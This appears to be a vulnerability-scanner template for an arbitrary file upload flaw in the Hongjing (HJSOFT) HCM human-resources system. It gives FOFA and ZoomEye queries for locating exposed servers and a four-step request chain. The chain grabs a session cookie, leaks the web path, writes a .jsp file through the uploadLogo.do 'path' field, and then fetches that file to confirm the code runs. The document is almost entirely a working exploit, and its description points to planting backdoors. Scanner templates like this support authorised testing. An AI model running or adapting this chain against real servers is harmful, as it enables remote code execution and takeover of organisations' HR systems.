漏洞描述
宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞,可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
FOFA: app="HJSOFT-HCM"
ZoomEye: app:"宏景 HCM"
id: hjsoft-uploadlogo-fileupload
info:
name: 宏景人力资源信息管理系统 uploadLogo 任意文件上传
author: zan8in
severity: critical
verified: true
description: |-
宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞,可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
FOFA: app="HJSOFT-HCM"
ZoomEye: app:"宏景 HCM"
reference:
- https://mp.weixin.qq.com/s/1h-5ZwCTIg-rU4ydR7NKIQ
tags: hjsoft,fileupload
created: 2025/01/01
set:
rboundary: randomLowercase(8)
filename: randomLowercase(10)
randbody: randomLowercase(32)
rules:
r0:
request:
method: GET
path: /module/system/qrcard/mobilewrite/qrcardmain.jsp
expression: response.status == 200 && response.headers['set-cookie'].icontains('JSESSIONID')
output:
search: '"Set-Cookie: (?P<cookie>.+)".bsubmatch(response.raw_header)'
cookie: search["cookie"]
r1:
request:
method: POST
path: /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1
headers:
Cookie: "{{cookie}}"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: |
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="path"
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="lfType"
0
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif
<%= "{{randbody}}" %>
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif
<%= "{{randbody}}" %>
------WebKitFormBoundary{{rboundary}}--
expression: response.status == 200 && response.body.bcontains(b'document.getElementById("pathvalue").value=')
output:
search2: '"value=\"(?P<pathname>.+)images\";".bsubmatch(response.body)'
pathname: search2["pathname"]
r2:
request:
method: POST
path: /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1
headers:
Cookie: "{{cookie}}"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: |
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="path"
{{pathname}}{{filename}}.jsp
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="lfType"
0
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif
<%= "{{randbody}}" %>
------WebKitFormBoundary{{rboundary}}
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif
<%= "{{randbody}}" %>
------WebKitFormBoundary{{rboundary}}--
expression: response.status == 200
r3:
request:
method: GET
path: /{{filename}}.jsp
expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1() && r2() && r3()